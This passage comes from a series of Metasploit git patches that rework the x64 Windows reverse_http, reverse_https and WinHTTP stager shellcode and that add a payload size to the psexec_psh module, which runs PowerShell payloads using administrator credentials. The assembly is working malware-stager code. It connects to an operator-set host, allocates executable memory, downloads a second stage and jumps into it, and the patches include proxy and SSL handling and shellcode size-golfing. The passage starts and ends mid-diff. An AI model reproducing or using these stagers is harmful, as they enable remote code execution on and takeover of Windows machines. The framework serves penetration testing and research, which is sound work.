(31=INTERNET_OPTION_SECURITY_FLAG) + push 0 ; stack alignment + push #{"0x%.8x" % set_option_flags} ; flags + mov r8, rsp ; lpBuffer (pointer to flags) + mov r9, 4 ; dwBufferLength (4 = size of flags) + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call rbp ^ end asm << %Q^ httpsendrequest: - mov rcx, rsi ; HINTERNET (hRequest) - ; the push/pop sequence saves a byte over XOR - push rbx - pop rdx ; NULL pointer (lpszHeaders) - xor r8, r8 ; 0 (dwHeadersLength) - xor r9, r9 ; NULL pointer (lpOptional) - push rbx ; 0 for alignment - push rbx ; 0 (dwOptionalLength) - mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + mov rcx, rsi ; hRequest (request handle) + xor rdx, rdx ; lpszHeaders (NULL) + xor r8, r8 ; dwHeadersLen (0) + xor r9, r9 ; lpszVersion (NULL) + push rdx ; stack alignment + push rdx ; dwOptionalLength (0) + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} call rbp - test eax, eax ; use eax, it's 1 byte less than rax + test eax, eax jnz allocate_memory try_it_again: - dec edi ; use edi, it's 1 byte less than rdi + dec rdi jz failure - jmp retry + jmp retryrequest + + dbl_get_server_host: + jmp get_server_host + + get_server_uri: + call httpopenrequest + + server_uri: + db "#{opts[:url]}",0x0 ^ if opts[:exitfunk] @@ -392,52 +368,56 @@ module Payload::Windows::ReverseHttp_x64 else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push 0 ; stack alignment + push 0x56A2B5F0 ; hardcoded to exitprocess for size call rbp ^ end asm << %Q^ allocate_memory: - ; the push/pop sequence saves a byte over XOR - push rbx - pop rcx ; NULL pointer (lpAddress) - mov rdx, 0x00400000 ; SIZE_T (dwSize) - mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) - push 0x40 - pop r9 ; PAGE_EXECUTE_READWRITE (flProtect) - mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + xor rcx, rcx ; lpAddress (NULL) + mov rdx, 0x00400000 ; dwSize (4 MB) + mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT) + mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE) + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp download_prep: - xchg rax, rbx ; place the allocated base address in ebx - push rbx ; store a copy of the stage base address on the stack - push rbx ; temporary storage for bytes read count - mov rdi, rsp ; &bytesRead + xchg rax, rbx ; store the allocated base in rbx + push rbx ; store a copy for later + push rbx ; temp storage for byte count + mov rdi, rsp ; rdi is the &bytesRead download_more: - mov rcx, rsi ; HINTERNET (hFile) - mov rdx, rbx ; (lpBuffer) - mov r8, 8192 ; (dwNumberOfBytesToRead) - mov r9, rdi ; (lpNumberOfBytesRead) - mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + mov rcx, rsi ; hFile (request handle) + mov rdx, rbx ; lpBuffer (pointer to mem) + mov r8, 8192 ; dwNumberOfBytesToRead (8k) + mov r9, rdi ; lpdwNumberOfByteRead (stack pointer) + mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} call rbp - add rsp, 32 ; clean up reserved space + add rsp, 32 ; clean up reserved space - test eax, eax ; did the download fail? + test eax, eax ; did the download fail? jz failure - mov ax, word ptr [rdi] - ; Use ebx/eax here because we save bytes (don't need higher order 32 bits) - add ebx, eax ; buffer += lpNumberOfBytesRead + mov ax, word ptr [rdi] ; extract the read byte count + add rbx, rax ; buffer += bytes read - test eax, eax ; use eax instead of rax, saves a byte - jnz download_more ; loop until 0 is returned - pop rax ; clear temp storage - pop rax ; alignment + test rax, rax ; are we done? + jnz download_more ; keep going + pop rax ; clear up reserved space + pop rax ; realign again execute_stage: - ret ; dive into the stored stage address + ret ; return to the stored stage address + + get_server_host: + call internetconnect + + server_host: + db "#{opts[:host]}",0x0 + ^ if opts[:exitfunk] diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 792953a378..4615dcfc63 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 491 + CachedSize = 520 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 63d7a438d7..113e46bdae 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 522 + CachedSize = 562 include Msf::Payload::Stager include Msf::Payload::Windows From 6e96e6d11834a6bb637668a0241b8eee5024b178 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2015 20:05:02 +1000 Subject: [PATCH 21/27] Shellcode golf to make the payload smaller Tried to implement some more of the stuff that egypt suggested, managed to get some in, but not others. Ultimately, its smaller than it was, and I'm sure there are ways to make it better as well. --- .../core/payload/windows/x64/reverse_http.rb | 76 +++++++++---------- .../stagers/windows/x64/reverse_http.rb | 2 +- .../stagers/windows/x64/reverse_https.rb | 2 +- 3 files changed, 39 insertions(+), 41 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 0ff130ab3c..4af14ed373 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -198,18 +198,18 @@ module Payload::Windows::ReverseHttp_x64 end asm = %Q^ + xor rbx, rbx load_wininet: - push 0 ; stack alignment + push rbx ; stack alignment mov r14, 'wininet' push r14 ; Push 'wininet',0 onto the stack - mov r14, rsp ; Save pointer to string - mov rcx, r14 ; the name of the lib to load + mov rcx, rsp ; lpFileName (stackpointer) mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call rbp internetopen: - push 0 ; stack alignment - push 0 ; NULL pointer + push rbx ; stack alignment + push rbx ; NULL pointer mov rcx, rsp ; lpszAgent ("") ^ @@ -224,29 +224,30 @@ module Payload::Windows::ReverseHttp_x64 ^ else asm << %Q^ - xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG) + push rbx + pop rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG) xor r8, r8 ; lpszProxyName (NULL) ^ end asm << %Q^ xor r9, r9 ; lpszProxyBypass (NULL) - push rax ; stack alignment - push 0 ; dwFlags (0) + push rbx ; stack alignment + push rbx ; dwFlags (0) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call rbp - jmp dbl_get_server_host - - internetconnect: + call load_server_host + db "#{opts[:host]}",0x0 + load_server_host: pop rdx ; lpszServerName mov rcx, rax ; hInternet mov r8, #{opts[:port]} ; nServerPort xor r9, r9 ; lpszUsername (NULL) - push r9 ; dwContent (0) - push r9 ; dwFlags (0) + push rbx ; dwContent (0) + push rbx ; dwFlags (0) push 3 ; dwService (3=INTERNET_SERVICE_HTTP) - push r9 ; lpszPassword (NULL) + push rbx ; lpszPassword (NULL) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} call rbp ^ @@ -299,14 +300,15 @@ module Payload::Windows::ReverseHttp_x64 httpopenrequest: mov rcx, rax ; hConnect - xor rdx, rdx ; lpszVerb (NULL=GET) + push rbx + pop rdx ; lpszVerb (NULL=GET) pop r8 ; lpszObjectName (URI) xor r9, r9 ; lpszVersion (NULL) - push rdx ; dwContext (0) + push rbx ; dwContext (0) mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags push r10 - push rdx ; lplpszAcceptType (NULL) - push rdx ; lpszReferer (NULL) + push rbx ; lplpszAcceptType (NULL) + push rbx ; lpszReferer (NULL) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} call rbp @@ -322,11 +324,13 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ internetsetoption: mov rcx, rsi ; hInternet (request handle) - mov rdx, 31 ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG) - push 0 ; stack alignment + push 31 + pop rdx ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG) + push rdx ; stack alignment push #{"0x%.8x" % set_option_flags} ; flags mov r8, rsp ; lpBuffer (pointer to flags) - mov r9, 4 ; dwBufferLength (4 = size of flags) + push 4 + pop r9 ; dwBufferLength (4 = size of flags) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call rbp ^ @@ -335,11 +339,12 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ httpsendrequest: mov rcx, rsi ; hRequest (request handle) - xor rdx, rdx ; lpszHeaders (NULL) + push rbx + pop rdx ; lpszHeaders (NULL) xor r8, r8 ; dwHeadersLen (0) xor r9, r9 ; lpszVersion (NULL) - push rdx ; stack alignment - push rdx ; dwOptionalLength (0) + push rbx ; stack alignment + push rbx ; dwOptionalLength (0) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} call rbp test eax, eax @@ -350,9 +355,6 @@ module Payload::Windows::ReverseHttp_x64 jz failure jmp retryrequest - dbl_get_server_host: - jmp get_server_host - get_server_uri: call httpopenrequest @@ -368,7 +370,7 @@ module Payload::Windows::ReverseHttp_x64 else asm << %Q^ failure: - push 0 ; stack alignment + push rbx ; stack alignment push 0x56A2B5F0 ; hardcoded to exitprocess for size call rbp ^ @@ -376,10 +378,13 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ allocate_memory: - xor rcx, rcx ; lpAddress (NULL) - mov rdx, 0x00400000 ; dwSize (4 MB) + push rbx + pop rcx ; lpAddress (NULL) + push 0x40 + pop rdx + mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE) + shl edx, 16 ; dwSize mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT) - mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE) mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call rbp @@ -404,20 +409,13 @@ module Payload::Windows::ReverseHttp_x64 mov ax, word ptr [rdi] ; extract the read byte count add rbx, rax ; buffer += bytes read - test rax, rax ; are we done? + test eax, eax ; are we done? jnz download_more ; keep going pop rax ; clear up reserved space pop rax ; realign again execute_stage: ret ; return to the stored stage address - - get_server_host: - call internetconnect - - server_host: - db "#{opts[:host]}",0x0 - ^ if opts[:exitfunk] diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 4615dcfc63..436312db66 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 520 + CachedSize = 488 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 113e46bdae..63d7a438d7 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 562 + CachedSize = 522 include Msf::Payload::Stager include Msf::Payload::Windows From 9fddc21cf3c3876d336b2b8ac9b25a660de2a140 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2015 21:21:07 +1000 Subject: [PATCH 22/27] Shaved another sneaky byte off the payload --- lib/msf/core/payload/windows/x64/reverse_http.rb | 6 +++--- modules/payloads/stagers/windows/x64/reverse_http.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_https.rb | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 4af14ed373..03662dec66 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -233,7 +233,7 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ xor r9, r9 ; lpszProxyBypass (NULL) push rbx ; stack alignment - push rbx ; dwFlags (0) + push rbx ; dwFlags (0) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call rbp @@ -305,8 +305,8 @@ module Payload::Windows::ReverseHttp_x64 pop r8 ; lpszObjectName (URI) xor r9, r9 ; lpszVersion (NULL) push rbx ; dwContext (0) - mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags - push r10 + mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags + push rax push rbx ; lplpszAcceptType (NULL) push rbx ; lpszReferer (NULL) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 436312db66..be9d00f22d 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 488 + CachedSize = 487 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 63d7a438d7..00548e4c13 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 522 + CachedSize = 521 include Msf::Payload::Stager include Msf::Payload::Windows From a93565b5d18022548389d193c09068bb5525b8cc Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2015 22:11:29 +1000 Subject: [PATCH 23/27] Add 'Payload' section with 'Size' to psexec_psh This missing parameter was causing the payload 'Size' to come through to the encoders as `nil`. This meant that all the stagers that were looking at the payload sizes were being told there was no size. In the case of the meterpreter payloads, this was causing issues with the proxy settings because the proxy configuration detail isn't added to the payload unless there's enough space. This fix adds a default size of 2048 (the same as the plain psexec module). This makes the proxy settings work as expected. --- modules/exploits/windows/smb/psexec_psh.rb | 29 +++++++++++++--------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 729e041835..580d26d9f7 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', - 'Description' => %q{ + 'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', + 'Description' => %q{ This module uses a valid administrator username and password to execute a powershell payload using a similar technique to the "psexec" utility provided by SysInternals. The payload is encoded in base64 and executed from the commandline using the -encodedcommand @@ -31,25 +31,30 @@ class Metasploit3 < Msf::Exploit::Remote the window entirely. }, - 'Author' => [ + 'Author' => [ 'Royce @R3dy__ Davis ', # PSExec command module 'RageLtMan MSF_LICENSE, - 'Privileged' => true, - 'DefaultOptions' => + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => { 'WfsDelay' => 10, - 'EXITFUNC' => 'thread' + 'EXITFUNC' => 'thread' }, - 'Platform' => 'win', - 'Targets' => + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 01 1999', - 'References' => [ + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 01 1999', + 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], From fd2534914d419b326084bb85c47159c5d3e04e52 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2015 12:15:38 +1000 Subject: [PATCH 24/27] Small tweaks to reverse_http --- .../core/payload/windows/x64/reverse_http.rb | 34 +++++++++++-------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 03662dec66..8695117f14 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -295,9 +295,8 @@ module Payload::Windows::ReverseHttp_x64 end asm << %Q^ - - jmp get_server_uri - + call httpopenrequest + db "#{opts[:url]}",0x0 httpopenrequest: mov rcx, rax ; hConnect push rbx @@ -314,12 +313,17 @@ module Payload::Windows::ReverseHttp_x64 prepare: mov rsi, rax - push #{retry_count} - pop rdi - - retryrequest: ^ + if retry_count > 1 + asm << %Q^ + push #{retry_count} + pop rdi + + retryrequest: + ^ + end + if opts[:ssl] asm << %Q^ internetsetoption: @@ -349,18 +353,20 @@ module Payload::Windows::ReverseHttp_x64 call rbp test eax, eax jnz allocate_memory + ^ + if retry_count > 1 + asm << %Q^ try_it_again: dec rdi jz failure jmp retryrequest - - get_server_uri: - call httpopenrequest - - server_uri: - db "#{opts[:url]}",0x0 - ^ + ^ + else + asm << %Q^ + jmp failure + ^ + end if opts[:exitfunk] asm << %Q^ From d43e11f5af0d377d70dcc7e9c9ba5b709cf5d030 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2015 14:43:03 +1000 Subject: [PATCH 25/27] WinHTTP rework with proxy support, and SSL verification This commit fixes up the winhttps stuff properly too. PHEW! --- lib/msf/core/payload/windows/x64/exitfunk.rb | 5 +- .../core/payload/windows/x64/reverse_http.rb | 6 +- .../payload/windows/x64/reverse_winhttp.rb | 349 ++++++++---------- 3 files changed, 165 insertions(+), 195 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index f6dc17f4b3..d385fd4baa 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -15,7 +15,10 @@ module Payload::Windows::Exitfunk_x64 def asm_exitfunk(opts={}) - asm = "exitfunk:\n" + asm = %Q^ + exitfunk: + pop rax ; won't be returning, realign the stack with a pop + ^ case opts[:exitfunk] diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 8695117f14..9462aa3f2f 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -376,9 +376,9 @@ module Payload::Windows::ReverseHttp_x64 else asm << %Q^ failure: - push rbx ; stack alignment - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call rbp + ; hard-coded to ExitProcess(whatever) for size + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} + call rbp ; ExitProcess(whatever) ^ end diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 25c6843c58..230f4044d0 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -38,7 +38,6 @@ module Payload::Windows::ReverseWinHttp_x64 conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] end generate_reverse_winhttp(conf) @@ -53,13 +52,12 @@ module Payload::Windows::ReverseWinHttp_x64 # def generate_reverse_winhttp(opts={}) combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' - ; onto the stack. + cld ; Clear the direction flag. + and rsp, ~0xf ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: - pop rbp + pop rbp ; rbp now contains the block API pointer #{asm_reverse_winhttp(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -154,195 +152,174 @@ module Payload::Windows::ReverseWinHttp_x64 end asm = %Q^ - ; Input: RBP must be the address of 'api_call'. - ; Clobbers: RAX, RSI, RDI, RSP will also be modified - xor rbx, rbx - load_winhttp: - push rbx - mov r14, 'winhttp' ; prepare the string 'winhttp' - push r14 - mov rcx, rsp ; point to the string - mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call rbp ; Call LoadLibraryA("winhttp") - ^ + push rbx ; stack alignment + mov r14, 'winhttp' + push r14 ; Push 'winhttp',0 onto the stack + mov rcx, rsp ; lpFileName (stackpointer) + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; LoadLibraryA + call rbp + ^ if verify_ssl asm << %Q^ load_crypt32: - push rbx - mov r14, 'crypt32' ; prepare the string 'crypt32' - push r14 - mov rcx, rsp ; point to the string - mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} - call rbp ; Call LoadLibraryA("crypt32") + push rbx ; stack alignment + mov r14, 'crypt32' + push r14 ; Push 'crypt32',0 onto the stack + mov rcx, rsp ; lpFileName (stackpointer) + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; LoadLibraryA + call rbp ^ end asm << %Q^ - WinHttpOpen: + winhttpopen: + push rbx ; stack alignment + push rbx ; NULL pointer + mov rcx, rsp ; pwszAgent ("") ^ if proxy_enabled asm << %Q^ - call get_proxy_server - db #{proxy_info} - get_proxy_server: - pop r8 ; stack pointer (lpszProxyName) - push 3 ; WINHTTP_ACCESS_TYPE_NAMED_PROXY 3 (dwAccessType) - pop rdx + push 3 + pop rdx ; dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + call load_proxy_name + db #{proxy_info} ; proxy information + load_proxy_name: + pop r8 ; pwszProxyName (stack pointer) ^ else asm << %Q^ - xor r8, r8 ; NULL (lpszProxyName) - ; the push/pop sequence saves a byte over XOR - push rbx ; push 0 - pop rdx ; WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0 (dwAccesType) + push rbx + pop rdx ; dwAccessType (0=WINHTTP_ACCESS_TYPE_DEFAULT_PROXY) + xor r8, r8 ; pwszProxyName (NULL) ^ end asm << %Q^ - xor r9, r9 ; NULL (lpszProxyBypass) - push rbx ; 0 for alignment - mov rcx, rsp ; Pointer to empty string ("") - push rbx ; NULL (lpszProxyBypass) - push rbx ; 0 (dwFlags) - push rbx ; 0 for alignment - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')} - call rbp ; Call WinHttpOpen(...) + xor r9, r9 ; pwszProxyBypass (NULL) + push rbx ; stack alignment + push rbx ; dwFlags (0) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen + call rbp - WinHttpConnect: - call get_server_host + call load_server_host db #{encoded_host} - get_server_host: - pop rdx ; Stack pointer (pswzServerName) + load_server_host: + pop rdx ; pwszServerName mov rcx, rax ; hSession mov r8, #{opts[:port]} ; nServerPort - ; r9 should still be 0 after the previous call, so we don't need - ; to clear it again - xor r9, r9 ; 0 (dwReserved) - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} + xor r9, r9 ; dwReserved + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} ; WinHttpConnect call rbp - WinHttpOpenRequest: - call get_server_uri + call winhttpopenrequest db #{encoded_url} - get_server_uri: - pop r8 ; Stack pointer (pwszObjectName) - xor r9, r9 ; NULL (pwszVersion) - push rbx ; 0 for alignment - ; the push/pop sequence saves a byte over XOR - push rbx ; push 0 - pop rdx ; NULL (pwszVerb - defaults to GET) - mov rcx, rax ; returned by WinHttpConnect (hConnect) - push 0x#{http_open_flags.to_s(16)} ; (dwFlags) - push rbx ; NULL (ppwszAcceptTypes) - push rbx ; NULL (pwszReferer) - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} + winhttpopenrequest: + mov rcx, rax ; hConnect + push rbx + pop rdx ; pwszVerb (NULL=GET) + pop r8 ; pwszObjectName (URI) + xor r9, r9 ; pwszVersion (NULL) + push rbx ; stack alignment + mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags + push rax + push rbx ; lppwszAcceptType (NULL) + push rbx ; pwszReferer (NULL) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} ; WinHttpOpenRequest call rbp - xchg rsi, rax ; save HttpRequest handle in rsi - ^ + + prepare: + mov rsi, rax ; Store hConnection in rsi + ^ if proxy_enabled && proxy_user asm << %Q^ - set_up_proxy_config: - push rbx ; pAuthParams (NULL) - ^ - - if proxy_pass - asm << %Q^ - call got_proxy_pass ; put proxy_pass on the stack - proxy_pass: - db #{proxy_pass} - got_proxy_pass: - ; pwszPassword now on the stack - ^ - else - asm << %Q^ - push rbx ; pwszPassword (NULL) - ^ - end - - asm << %Q^ - call got_proxy_user ; put proxy user on the stack - proxy_user: + call load_proxy_user ; puts proxy_user pointer on stack db #{proxy_user} - got_proxy_user: - pop r9 ; Get proxy user (pwszUserName) - ; the push/pop sequence saves a byte over XOR - push rbx ; push 0 - pop rdx ; rdx is now 0 - inc edx ; WINHTTP_AUTH_TARGET_PROXY = 1 (dwAuthSceme) - mov r8, rdx ; WINHTTP_AUTH_SCHEME_BASIC = 1 (dwAuthTargets) - mov rcx, rsi ; Request handle (hRequest) - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} + load_proxy_user: + pop r8 ; lpBuffer (stack pointer) + mov rcx, rsi ; hConnection (connection handle) + mov rdx, 0x1002 ; (0x1002=WINHTTP_OPTION_PROXY_USERNAME) + push #{proxy_user.length} ; dwBufferLength (proxy_user length) + pop r9 + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption call rbp ^ end + if proxy_enabled && proxy_pass + asm << %Q^ + call load_proxy_pass ; puts proxy_pass pointer on stack + db #{proxy_pass} + load_proxy_pass: + pop r8 ; lpBuffer (stack pointer) + mov rcx, rsi ; hConnection (connection handle) + mov rdx, 0x1003 ; (0x1003=WINHTTP_OPTION_PROXY_PASSWORD) + push #{proxy_pass.length} ; dwBufferLength (proxy_pass length) + pop r9 + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption + call rbp + ^ + end + + if retry_count > 1 + asm << %Q^ + push #{retry_count} + pop rdi + + retryrequest: + ^ + end + if opts[:ssl] asm << %Q^ - set_security_options: - mov rcx, rsi ; Handle for request (hConnect) + winhttpsetoption_ssl: + mov rcx, rsi ; hRequest (request handle) push 31 - pop rdx ; WINHTTP_OPTION_SECURITY_FLAGS (dwOption) - push 0x#{secure_flags.to_s(16)} - mov r8, rsp ; Pointer to flags (lpBuffer) + pop rdx ; dwOption (31=WINHTTP_OPTION_SECURITY_FLAGS) + push rdx ; stack alignment + push #{"0x%.8x" % secure_flags} ; flags + mov r8, rsp ; lpBuffer (pointer to flags) push 4 - pop r9 ; 4 (dwBufferLength) - push rbx ; 0 for alignment - push rbx ; 0 for alignment - mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} + pop r9 ; dwBufferLength (4 = size of flags) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption call rbp - test eax, eax ; use eax, it's 1 byte less than rax - jz failure - ; more alignment require as a result of this call. I have no idea why. - push rbx ; 0 for alignment - push rbx ; 0 for alignment ^ end asm << %Q^ - ; Store our retry counter in the rdi register - set_retry: - push #{retry_count} - pop rdi - - send_request: - - WinHttpSendRequest: - mov rcx, rsi ; Request handle (hRequest) - ; the push/pop sequence saves a byte over XOR - push rbx ; push 0 - pop rdx ; NULL (pwszHeaders) - xor r8, r8 ; 0 (dwHeadersLength) - xor r9, r9 ; NULL (lpOptional) - push rbx ; push 0 (dwContext) - push rbx ; push 0 (dwTotalLength) - push rbx ; push 0 (dwOptionalLength) + winhttpsendrequest: + mov rcx, rsi ; hRequest (request handle) + push rbx + pop rdx ; lpszHeaders (NULL) + xor r8, r8 ; dwHeadersLen (0) + xor r9, r9 ; lpszVersion (NULL) + push rbx ; stack alignment + push rbx ; dwContext (0) + push rbx ; dwTotalLength (0) + push rbx ; dwOptionalLength (0) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} ; WinHttpSendRequest + call rbp + test eax, eax + jnz handle_response ^ - # required extra alignment for non-ssl payloads. Still don't know why. - unless opts[:ssl] + if retry_count > 1 asm << %Q^ - push rbx ; 0 for alignment + try_it_again: + dec rdi + jz failure + jmp retryrequest + ^ + else + asm << %Q^ + jmp failure ^ end - asm << %Q^ - mov r10, 